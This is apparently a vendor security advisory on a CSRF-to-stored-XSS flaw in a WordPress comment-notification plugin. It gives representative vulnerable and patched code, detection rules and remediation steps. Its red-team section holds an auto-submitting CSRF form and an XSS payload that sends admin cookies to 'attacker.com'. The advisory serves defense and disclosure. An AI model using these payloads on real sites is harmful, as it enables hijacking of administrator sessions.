CVE-2025-25154

Executive Summary

CVE-2025-25154 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Custom Comment Notifications by scweber, affecting versions up to and including 1.0.8. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further chained to a Stored Cross-Site Scripting (XSS) issue, enabling persistent JavaScript execution in the WordPress admin panel. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx server configurations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not currently patched, and no official update has been released by the vendor (scweber). Users should consider removing or replacing the plugin until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a crafted link)
• Scope: Changed (CSRF leads to XSS, affecting other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the admin context, potentially leading to session hijacking, privilege escalation, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the custom-comment-notifications WordPress plugin. The plugin fails to implement proper CSRF tokens on administrative actions, such as saving settings or updating notification templates. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the plugin’s admin-ajax or settings endpoint.

Because the plugin also lacks output sanitization on certain stored fields (e.g., notification message templates), the CSRF can be used to inject malicious JavaScript. This stored XSS then executes whenever an admin views the plugin settings page, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to malicious sites.

Key Weaknesses:

• No CSRF nonce verification on POST requests.
• Insufficient sanitization of user-supplied input in notification templates.
• Lack of capability checks on admin actions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire plugin version 1.0.8. The following is a representative example of the vulnerable pattern:

Vulnerable Code (admin.php):

function save_notification_settings() {
    // No nonce check
    update_option('custom_comment_notifications_template', $_POST['template']);
    // No sanitization
    echo '<div class="updated"><p>Settings saved.</p></div>';
}
add_action('admin_post_save_custom_notifications', 'save_notification_settings');

Patched Code (hypothetical):

function save_notification_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'custom_notifications_nonce')) {
        wp_die('CSRF validation failed.');
    }
    if (!current_user_can('manage_options')) {
        wp_die('Insufficient permissions.');
    }
    $template = sanitize_text_field($_POST['template']);
    update_option('custom_comment_notifications_template', $template);
    echo '<div class="updated"><p>Settings saved.</p></div>';
}
add_action('admin_post_save_custom_notifications', 'save_notification_settings');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Custom Comment Notifications <= 1.0.8 installed and activated.
• An authenticated admin user who can be tricked into clicking a malicious link.

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or send it via email.
3. When the admin visits the page, the CSRF triggers a POST request to save a malicious notification template containing XSS payload.

Example CSRF Payload (HTML):

<html>
<body>
<form action="http://target.com/wp-admin/admin-post.php" method="POST">
  <input type="hidden" name="action" value="save_custom_notifications">
  <input type="hidden" name="template" value="<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Stored XSS Payload:

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php with action save_custom_notifications.
• Check for unusual changes to the custom_comment_notifications_template option in the database.
• Review server logs for referer headers that do not match the admin domain.

Honeypot Setup:

• Deploy a decoy admin user with limited privileges to attract CSRF attempts.
• Monitor for form submissions to admin-post.php without a valid nonce.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=save_custom_notifications and no _wpnonce parameter.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.
• File IOCs:
  • Modified wp_options table entry for custom_comment_notifications_template containing <script> tags.
• Behavioral IOCs:
  • Unexpected admin user actions without corresponding UI interaction.
  • Sudden appearance of JavaScript alerts or redirects in the admin panel.

Detection Engineering

YARA Rule

rule CVE_2025_25154_CSRF_XSS {
    meta:
        description = "Detects CSRF and Stored XSS in Custom Comment Notifications plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25154"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $csrf_endpoint = "admin-post.php"
        $plugin_option = "custom_comment_notifications_template"
    condition:
        $csrf_endpoint and $plugin_option and $xss_payload
}

Sigma Rule

title: CVE-2025-25154 - CSRF to Stored XSS in Custom Comment Notifications
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects CSRF attempts targeting the Custom Comment Notifications plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=save_custom_notifications'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25154 - CSRF to Stored XSS in Custom Comment Notifications"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=save_custom_notifications"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Remove or replace the plugin with an alternative that supports CSRF tokens and input sanitization.
3. Audit the database for any stored XSS payloads in the custom_comment_notifications_template option.

Long-term Fixes:

• Implement CSRF nonce verification using wp_nonce_field() and check_admin_referer().
• Sanitize all user inputs with sanitize_text_field() or wp_kses_post() as appropriate.
• Add capability checks using current_user_can('manage_options').

Workaround:

• Use a Web Application Firewall (WAF) to block requests to admin-post.php without a valid referer header.
• Restrict admin panel access to trusted IP addresses.

Valters IT
Securing Digital Frontiers